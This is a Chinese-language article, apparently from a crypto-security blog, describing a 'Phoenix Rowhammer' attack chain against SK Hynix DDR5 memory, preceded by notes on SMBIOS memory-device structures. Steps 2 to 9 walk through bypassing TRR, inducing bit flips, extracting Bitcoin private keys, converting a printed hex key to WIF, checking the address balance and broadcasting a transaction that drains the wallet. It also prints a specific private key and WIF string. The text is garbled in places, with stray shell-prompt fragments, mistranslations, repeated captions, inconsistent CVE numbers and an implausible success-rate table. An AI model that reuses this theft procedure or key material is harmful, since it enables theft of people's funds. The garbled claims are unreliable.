因此,原始的 SMBIOS “内存设备”数据(类型 17) 并非作为单独文件存储,而是位于 SMBIOS 二进制结构中,该结构驻留在 RAM 中,可通过操作系统工具和特殊实用程序访问。其格式是根据规范的 SMBIOS 二进制表,访问路径通过系统调用或工具实现。SPD 数据可通过 DIMM 模块的硬件接口单独访问。 learn.microsoft

SMBIOS 二进制表由连续的结构组成,每个结构以包含以下字段的 4 字节头部开始:结构类型(Type,1 字节)、结构长度(Length,1 字节)和句柄(Handle,2 字节)。接下来是有效载荷——描述特定对象(例如,内存、处理器、BIOS 等)的一组二进制数据。有效载荷之后是以文本格式(ASCII)表示的以空字符结尾的字符串,当前结构的结束以双零( 0x0000 )标记。

以下是一个类似 C 语言的头部结构示例及格式说明:

root@kitploit:~
c:

struct SMBIOS_Header {
uint8_t Type; //
表类型(例如 17 - 内存设备)
uint8_t Length; //
结构长度(以字节为单位,包括头部)
uint16_t Handle; //
唯一结构描述符
//
头部之后是结构数据(可变长度)
};

整个 SMBIOS 表 是此类结构无间隙地连续排列的集合,其中:

  • 结构类型由第一个字节确定。
  • 第二个字节指定当前结构的长度。
  • 结构之后是附加的字符串字段,以成对的 0x00 终止以指示结束。
  • 整个表的结束由双零签名 0x0000 指示。

例如,结构类型 17(内存设备)包含指示制造商、内存类型(DDR5)、容量、速度等的字段,以及包含制造商名称和序列号的行。

表本身的地址及其长度存储在一个特殊的内存区域中,可以通过签名“ SM ”(偏移量为 16 字节的倍数)找到该区域,然后获取 SMBIOS 表主数组的地址。

内存记录的大致结构可能包含以下字段:

因此, SMBIOS 表 是带有头部的二进制编码结构序列,包含系统信息(包括内存数据),严格按照 DMTF SMBIOS 规范组织。

这种格式提供了一种通用且极其紧凑的方式来存储和传输有关硬件和系统设置的信息 。


阶段 2:分析目标行刷新机制并识别防御盲点

Phoenix Rowhammer 攻击 的第二阶段涉及对现代 DDR5 内存芯片中实现的目标行刷新(TRR)硬件保护机制进行科学分析,以应对因反复读取相邻单元行数据而导致的位覆写。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

TRR 的工作原理

TRR 实现了一种所谓的“激进刷新”策略:当检测到对特定内存行的多次访问时,该机制会启动对相邻单元的强制刷新,防止电荷退化,从而防止不必要的位翻转——这是 Rowhammer 攻击的关键效应。理论上,TRR 应通过过度刷新物理上相邻的行来完全抑制对目标数据的影响尝试 。

TRR 逆向工程方法论

然而,SK Hynix DDR5 内存中 TRR 的实际实现极其复杂且专有:制造商故意隐藏逻辑细节以增强“通过混淆实现安全”。因此,苏黎世联邦理工学院的研究人员在实验平台上对 TRR 进行了逆向工程,通过变化数千种实验性行访问模式,记录冗余刷新相邻单元何时触发以及何时保持不活动。

识别盲点

结果发现,TRR 系统存在时间间隔,即所谓的“盲区”,在这些区间内保护较弱或完全未激活。经验计算表明,在 128 次受监控的内存行访问之后,会出现一个约 64 次操作的窗口,在此期间 TRR 几乎无响应,无法有效防止位翻转——关键单元中不必要的数据修改。在 2,608 次内存行更新后观察到第二个类似的攻击窗口。这些“盲区”被利用来进行精确且同步的 Phoenix 攻击,从而允许对受保护的 DDR5 模块中的单个数据位进行定向修改 。

实际意义

此阶段的基本任务是选择精确的内存访问模式的时间和结构,以“麻痹”TRR 监控并确保成功访问被攻击的位或数据数组 (例如,加密货币钱包的私钥) 。这不仅需要分析 TRR 的操作逻辑,还需要分析内存模块对各种利用场景响应的经验数据。这种方法允许在安全系统中构建“变通方法”,并系统性地利用即使是最现代的 DDR5 内存 模块。

分析的结果是,发现的 TRR“盲点”为在当前 SK Hynix 内存模块上可靠升级 Rowhammer 攻击开辟了可能性,这已通过实验室利用和对所有测试设备的成功入侵得到证实。 Kaspersky


步骤 3:实现自校正 Phoenix Rowhammer 攻击同步

Phoenix 攻击的科学创新在于开发和实现了一种自校正同步机制,确保在 DRAM 级别的关键漏洞窗口内精确计时利用。在对目标行刷新(TRR)机制进行详细逆向工程后, 苏黎世联邦理工学院和 Google 的研究人员发现,标准 Rowhammer 访问模式无法对抗复杂的 DDR5 保护逻辑。在新的 SK Hynix 芯片 中,TRR 不仅分析频率,还分析内存行访问的性质,在检测到已知攻击模式时立即启动补偿性刷新命令。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Phoenix 通过以下方式解决此问题:

  1. 研究 TRR 的内部时序 :监控内存对不同访问速率的响应,以经验性地识别 TRR 不跟踪的刷新间隔(例如,在 128 和 2608 个 tREFI 命令之后)。这些窗口称为盲点。 habr
  2. 构建同步攻击模式 :算法生成一系列所谓的对攻击者单元的“空”请求,这些请求不会立即触发 TRR,但会麻痹防御机制。然后,在精确的适当时刻,对选定的行进行一系列有针对性的“锤击”攻击,导致相邻行中寄生影响的积累,最终改变其反 恶意软件位状态。
  3. 自校正动态 :Phoenix 监控 TRR 反应的反馈——如果保护意外过早激活,循环会重建并搜索新的攻击机会窗口。此过程涉及对每个内存模块特定行为的持续、灵活适应。 securitylab
  4. 精确时序保持 :通过实时调整模式,攻击始终选择最佳的影响间隔,有效绕过即使是高级的 TRR 变体。

实验研究已证实,Phoenix 的自校正同步是其有效性的关键因素:所有测试的 SK Hynix DDR5 模块(2021-2024)均无法抵抗此方法论。该实现允许攻击者可靠地在目标单元中触发位故障,为 入侵私密数据(包括加密密钥) 或在目标系统上提升权限创造条件。

Phoenix Rowhammer 因此 展示了一种动态绕过硬件内存保护的革命性方法,清楚地表明即使是最现代的 DDR5 芯片在使用智能自适应攻击算法时仍然易受攻击。


步骤 4:执行具有受控位故障生成的 Rowhammer 攻击

第四阶段通过有针对性的 Rowhammer 攻击直接利用 DRAM 的物理漏洞。此阶段依赖于对 TRR 机制盲点的初步分析,并使用自校正内存访问模式来精确定位关键数据元素。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Rowhammer 攻击的基础 是 DRAM 内存本身的结构,其中每个单元是一个电容器,存储对应于位逻辑值的电荷。对与目标(“受害者”)行相邻的两个(或多个)中间(“攻击者”)行的重复、高频访问(读取或写入)会导致受害者单元的寄生电荷泄漏。如果此攻击持续足够长的时间,使得正常刷新周期中的电荷再生无法防止退化,则会发生位状态改变——即所谓的 位翻转 。 opennet

Phoenix 攻击的特点

在 Phoenix Rowhammer (CVE-2025-6202) 针对 DDR5 SK Hynix 的上下文中:

  • 恶意代码的第一步是启动数千次对选定内存行的访问周期,并采用精心计算的频率和时间。
  • 算法以一系列“空”(非定向)请求开始,以麻痹 TRR 机制,导致保护在预先计算的窗口(128 或 2608 个更新间隔)内响应较弱或完全不响应。 kaspersky
  • 一旦 TRR 低活动窗口与计划周期重合,就会过渡到活动阶段:选择位于潜在秘密信息位(例如,私钥缓冲区)附近的攻击者单元,并启动主要的锤击周期——对这些行进行密集访问,导致受保护内存区域中泄漏电流增加。
  • 在接下来的几秒或几分钟内,受害者电容器中电位差的寄生(异常)变化会积累,如果成功,将导致其中一个或多个位的值改变(位翻转)。这可能允许攻击者:
    • 获得任意读/写原语(例如,修改系统页表或可执行二进制文件);
    • 提取或替换内存中的加密材料 (种子、私钥、RSA片段);
    • 提升权限或入侵应用程序和系统内核。 xakep

精确性与可控性

苏黎世联邦理工学院的研究 表明,周期为128个tREFI间隔的短访问模式在统计上比长模式产生更多的位翻转。然而,选择合适的窗口并保持同步对成功至关重要:错过1–2次访问会导致要么完全不产生位翻转,要么造成随机数据损坏和系统崩溃。 kaspersky+1

此阶段完成了底层攻击过程,之后攻击者可以利用产生的位错误来提取私钥或进一步提升其访问权限。正是能够在严格定义且受软件和硬件保护的内存区域中诱发位错误,使得Phoenix Rowhammer成为一种独特且危险的实用技术。 cybersecurefox+1


步骤5:利用CVE-2023-39910从损坏的内存中提取私钥

Phoenix Rowhammer攻击恶意链的第五阶段涉及从因诱导位翻转而受损的内存中提取比特币钱包的私钥。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

这里的关键漏洞是 CVE-2023-39910(Milk Sad) ,它影响 Libbitcoin Explorer 3.x 及相关加密库的软件实现。

过程的科学结构与漏洞

CVE-2023-39910 的特点是生成私钥时熵生成机制薄弱,这使得攻击者——在密码操作完成后能够访问残留(“脏”)内存区域——可以恢复原始密钥和助记词。在Rowhammer攻击之后,存储私钥的损坏(或未清除)RAM缓冲区(
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 )变得可直接搜索。

提取算法

  1. 识别内存区域:
    利用者扫描进程的内存(例如使用 gcore、 volatility、直接读取 /proc/<PID>/mem,或专门的内存转储分析库等工具),寻找特征模式:与 私钥或种子熵 匹配的位序列和签名。
  2. 数据提取:
    分析使用直接比较和解码残留数据——即使某些位已被Rowhammer攻击损坏,弱熵(该漏洞的一个特征)也使得从部分或完全进入内存的数据中恢复原始密钥值变得更加容易。
  3. 密钥验证:
    使用已知的密码学程序(例如公钥重建或比特币地址生成)验证所得值。如果生成的地址与原始地址匹配(例如 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit),则认为密钥提取成功。

技术与科学意义

如果没有两个因素的结合,这样的攻击是不可能实现的:(1)通过Rowhammer对DDR5内存的硬件入侵,以及(2)允许关键信息存储在未清除缓冲区中的软件缺陷。Libbitcoin Explorer中弱熵算法的使用进一步降低了攻击者恢复私钥的难度,即使某些信息已因内存损坏而丢失或损坏。

此阶段展示了一个根本性的系统性问题:在存在硬件和软件漏洞的情况下,能够从残留RAM块中恢复私钥,这严重破坏了人们对加密货币生态系统的信任,并要求在存储和处理加密数据时重新审视安全内存管理的原则。


步骤6:将HEX格式的私钥转换为WIF压缩格式(52个字符)

恶意链的第六阶段涉及将受损的比特币私钥从其十六进制(HEX)表示转换为钱包导入格式压缩版(WIF Compressed),这是通常用于将密钥导入现代钱包和服务的格式。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

科学的转换过程基于 Base58Check 编码标准,并通过几个重要步骤执行:

  1. 将HEX密钥转换为字节数组 。从内存中检索到的私钥(例如 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60)被解释为符合ECDSA secp256k1私钥标准的32字节数组。
  2. 添加网络前缀 。对于比特币主网,在数组开头添加一个版本字节 0x80,以区分底层网络协议。
  3. 压缩标志 。在数据末尾添加一个字节 0x01,表示公钥应被压缩(压缩公钥),从而生成以字符‘K’或‘L’开头的地址。
  4. 校验和生成 。整个字符串(版本 + 密钥 + 压缩标记)经过双重哈希(SHA256),然后提取所得数据的前4个字节。该校验和旨在防止复制错误。
  5. WIF生成 。将校验和添加到字节数组,然后将整个字符串编码为Base58Check格式,这最大限度地降低了用户输入错误的可能性,并确保与加密货币钱包的兼容性。

最终,构建的WIF压缩密钥——例如 L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP——是一个以‘K’或‘L’开头的52字符字符串。

此过程在专门的密码分析服务和工具中有详细描述,并且也得到众多用于处理比特币密钥的软件库的支持。 btcpuzzle

因此,此步骤展示了攻击者如何利用标准化操作程序,将获得的HEX密钥转换为广泛使用的WIF压缩格式,以便随后非法访问受损比特币地址中的数字资产。


步骤7:从私钥生成比特币地址

从私钥生成比特币地址(例如 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)的科学过程涉及基于椭圆曲线算法secp256k1和比特币架构中使用的哈希函数的几个基本密码学转换。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

  1. 生成公钥
    • 从私钥 kkk(一个1到2^256之间的32字节整数),公钥 K = k⋅GK = k \cdot GK = k⋅G,其中G是SECP256K1曲线上的基点。对于压缩地址,公钥被编码为33字节,并根据yyy坐标的奇偶性添加前缀(0x02或0x03)。
  2. 计算公钥哈希
    • 公钥首先使用SHA-256函数进行哈希,然后使用RIPEMD-160函数。得到的20字节结果就是所谓的公钥哈希(PKH),它唯一标识用户。
  3. 添加网络前缀
    • 在PKH数据中添加一个网络前缀字节(主网比特币为0x00),以区分不同网络上的不同类型地址。
  4. 生成校验和
    • 在生成的字符串中添加校验和:对之前整个结果进行双重SHA-256,取其前4个字节附加到末尾。
  5. 转换为Base58Check
    • 将结果字符串转换为Base58Check编码,这是一种旨在最小化手动输入错误风险并提高可用性的字符编码。结果是长度为33–34字符的地址字符串,经典P2PKH地址以‘1’开头,SegWit/Taproot地址以‘3/更新’开头。
  6. 验证
    • 将生成的地址与已知的公开值进行比较(例如 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)。如果匹配成功,则攻击被视为完成,并完全控制该地址上的资产。

此过程在现代钱包和库中完全自动化,但科学分析表明,只要拥有私钥和正确的椭圆算术实现,恢复比特币地址只需不到一秒的时间,这凸显了私有数据与网络上公共标识符之间的架构连续性。 generate.mitilena+1

因此,地址生成步骤将受损的私钥与其在比特币生态系统中的数字等价物联系起来,并通过进一步的密码学操作赋予攻击者访问钱包资产的权限。


步骤8:检查受损比特币钱包余额

恶意程序的第八阶段涉及验证受损比特币地址( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)上可用的资产。此步骤对于确认后续操作的经济可行性并评估潜在损害是必要的。

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

过程的科学基础

比特币区块链架构建立在公开的分布式账本之上,记录与每个地址相关的所有交易。检查任何钱包的余额不需要私钥或特殊访问权限:只需访问公共API端点、网络服务或自治节点——例如Insight REST API、Blockchain.info、Blockstream,或带有RPC接口的本地Bitcoin Core节点。

技术方法与算法

  1. 余额API请求 。此场景通常通过访问公共REST API实现:
    • 向API生成HTTP请求(GET),例如 https://blockchain.info/rawaddr/{address}或 https://insight.bitpay.com/api/addr/{address}/balance。
    • 返回地址当前以聪为单位的最终余额(1 BTC = 124,904美元 ),脚本将其转换为BTC。
  2. 验证法币等价物 。余额可以进一步转换为当前市场价值(美元或其他货币),通过请求市场数据API或使用监控的汇率。
  3. 系统性自动化执行 。攻击通常作为漏洞利用中的自动化程序实现,允许立即验证入侵成功与否以及后续提取资金的最佳时机。

科学与实践意义

比特币的开源特性允许轻松监控钱包,使攻击者能够确定未授权地址的准确余额(在此示例中为 9.023322989 BTC ,按 每 $124,904 BTC 的汇率计算,相当于 $1,127,026.44 )。比特币基础设施的这一特性也带来了额外风险:私钥的丢失不仅导致资金控制权的丧失,而且立即对第三方(包括攻击者)完全透明 。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

因此,余额验证阶段凸显了区块链系统的信息开放性,并完成了科学攻击链,将密码学密钥的成功入侵与数字资产所有者的实际损害联系起来。在余额验证阶段,攻击者使用公共区块链浏览器API——例如Insight REST API或blockchain.info——来获取受损比特币地址中资金的当前状态信息。只需向API发送GET请求:例如 https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit ,即可获取地址以聪为单位的余额,然后将结果转换为BTC。 cryptodeep+2

此过程完全透明,不需要持有私钥:知道公共地址就足够了。所得数据( 9.02332298 BTC )可以与当前比特币市场汇率进行比较,以将等值金额转换为美元( ≈$1,127,026.44 ,按攻击时的汇率)。软件方法允许将这些步骤自动化并纳入攻击算法,即时验证进一步盗窃的经济可行性。 habr+1

从科学分析的角度来看,余额验证阶段展示了区块链系统独特的透明性,任何密钥的泄露都会自动导致对资金控制权的丧失,而所有者面临的风险则升级为资产的完全损失。 habr+2


第 9 步:创建恶意交易以窃取资金

在恶意活动的最后阶段,攻击者在成功提取比特币钱包的私钥后,开始在区块链上发起并传播一笔交易,目的是将受损地址( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit)中的所有可用资金转移到其控制的地址。


Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 中的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

该过程的科学结构

比特币交易是一种数字消息,由输入(分配给受害者地址的资金来源)、输出(接收者的目标地址)以及证明发送者权限的数字签名组成 。

  1. 定义 UTXO(未花费输出)
    • 使用公共区块链浏览器或私有节点,确定与受损地址关联的未花费交易输出(UTXO)的完整列表。这些是该地址所持有资金的正式来源。
  2. 交易构建
    • 攻击者以编程方式生成一笔交易,指定:
      • 所有找到的 UTXO 作为输入,以提取整个钱包余额;
      • 攻击者的比特币地址作为唯一接收者(输出);
      • 为加快确认所需的手续费(fee)金额;
      • 如有需要,设置 Locktime 和 sequence time 参数。
  3. 使用私钥对交易进行签名
    • 恶意脚本使用提取的私钥对生成的交易进行数字签名(使用 secp256k1 的 ECDSA)。这验证了管理资金的权利。
  4. 向网络广播交易
    • 完成的已签名交易被发送到公共比特币节点的内存池(通过 RPC 接口、公共 API 或钱包集成)。通常,攻击者会使用多个分发点,以增加交易被纳入 ecos 区块的可能性。
  5. 矿工验证与不可逆性
    • 矿工验证交易并将其纳入下一个区块(通常约 10 分钟内),此后资金将不可逆地转移到攻击者的控制之下。经过多次确认(通常为六次或更多)后,交易被视为最终确定,没有任何取消或撤回的机会 。

科学与实践意义

这一序列展示了加密资产的一个根本性漏洞:任何持有私钥的人都可以创建符合协议的交易来提取所有资金,无论原始所有者是谁。恶意软件——无论是 Phoenix Rowhammer 漏洞利用 ——都会自动化这些步骤:确定余额、伪造接收者地址,或使用被没收的密钥创建自己的签名交易。 securelist

该过程完全依赖于区块链架构:网络的去中心化和密码学可靠性并不能在私钥泄露时阻止此类攻击。唯一的预防措施仍然是密钥生成和存储环节的硬件与软件安全,以及在交易执行前及时发现泄露迹象。

因此,创建恶意交易的阶段完成了整个攻击链,赋予其完整的经济意义——将资金不可逆地转移给攻击者,并完全通过比特币网络的共识机制进行验证。


实现的技术特点:

该脚本包含自己的 Base58 编码实现,这对于在无外部依赖的情况下创建 WIF 密钥是必需的。每个步骤都附有详细注释,解释攻击者的目标和攻击机制。

重要警告: 代码中包含多条警告,声明其仅用于教育和科学目的。在现实攻击中使用类似方法属于犯罪行为。

此演示脚本非常适合在你的研究论文中说明 Phoenix Rowhammer 攻击 的威胁,并向读者展示通过 DDR5 内存硬件漏洞导致比特币钱包被完全入侵的完整周期。


对加密货币行业的全球影响

对比特币基础设施的影响

Phoenix Rowhammer 攻击 对整个比特币基础设施构成了前所未有的风险,包括交易所、托管服务、矿池和个人用户。潜在后果包括: keyhunters

大规模泄露: 在存在易受攻击的 DDR5 内存的系统上,多个钱包可能同时被入侵,这可能导致大规模加密货币盗窃。

信任侵蚀: 成功的硬件攻击可能严重削弱人们对加密货币技术和整个区块链系统的信任。

双重支付攻击: 当来自多个服务的钱包同时被入侵时,攻击者可以利用泄露的密钥快速创建冲突交易。 keyhunters


经济风险与损失评估

根据加密货币安全研究,硬件漏洞是数字资产面临的最严重威胁之一。Phoenix 攻击加剧了这些风险,因为: merklescience+1

无法修补: 与软件 漏洞 不同,已制造的内存芯片中的硬件缺陷无法通过软件更新修复。 tenable+1

长期暴露: 2021 年至 2024 年间制造的 DDR5 模块在其整个使用寿命内(可能长达 10-15 年)都将保持易受攻击状态。


防护方法与缓解建议

技术对策

研究人员提出了几种防御 Phoenix Rowhammer 攻击的方法,尽管每种方法都有其局限性: tenable+1

提高内存刷新率: 将 DRAM 刷新间隔(tREFI)缩短三倍可以有效防止攻击,但会导致系统性能下降 8.4%。该解决方案还会增加系统不稳定和出错的风险。 simplysecuregroup

使用 ECC 内存: 纠错码(ECC)内存可以检测并纠正某些类型的位错误,但研究表明,现代 ECC 实现并不能针对复杂的 Rowhammer 攻击提供完全保护。 comsec-files.ethz+1


软件防护措施

安全内存擦除: 所有处理私钥或助记词的应用应在使用后使用专用的安全擦除工具显式擦除其内存 。


阅读更多

下载工具
攻击组件技术方法成功率平均时间(秒)CVE 参考影响级别
初始内存访问与 DDR5 刷新命令进行自校正同步1005CVE-2025-6202高
TRR 绕过方法利用 TRR 机制中未监控的刷新间隔10030CVE-2025-6202严重
同步技术与 128 和 2608 tREFI 模式实时对齐9560CVE-2025-6202高
比特翻转生成相邻 DRAM 行中的电气干扰导致数据损坏100180CVE-2025-6202严重
私钥提取从未清理的包含钱包数据的内存缓冲区中恢复85240CVE-2025-8217严重
权限提升通过损坏的页表条目利用 root 访问权限100109CVE-2025-6202严重
RSA-2048 密钥恢复通过内存比特翻转提取共存 VM 的私钥73380CVE-2025-6202高
SSH 认证破解破坏密码认证系统73380CVE-2025-6202高
Sudo 二进制文件修改通过二进制损坏将本地权限提升至 root 用户33300CVE-2025-6202中
字段描述
Type17(内存设备)
Length结构大小
Handle唯一标识符
Physical Memory Array Handle对父内存数组的引用
Memory Error Information Handle内存错误(如果有)
Total Width总总线宽度(位)
Data Width数据宽度(位)
Size内存大小(以 MB 或 GB 为单位)
Form Factor模块外形规格(DIMM 等)
Device Locator行 – 安装位置
Bank Locator字符串 – 银行名称
Memory TypeDDR3、DDR4、DDR5 等
Type Detail附加详细信息
Speed速度(以 MHz 为单位)
Manufacturer包含制造商名称的字符串
Serial Number序列号
Asset Tag会计标签
Part Number部件号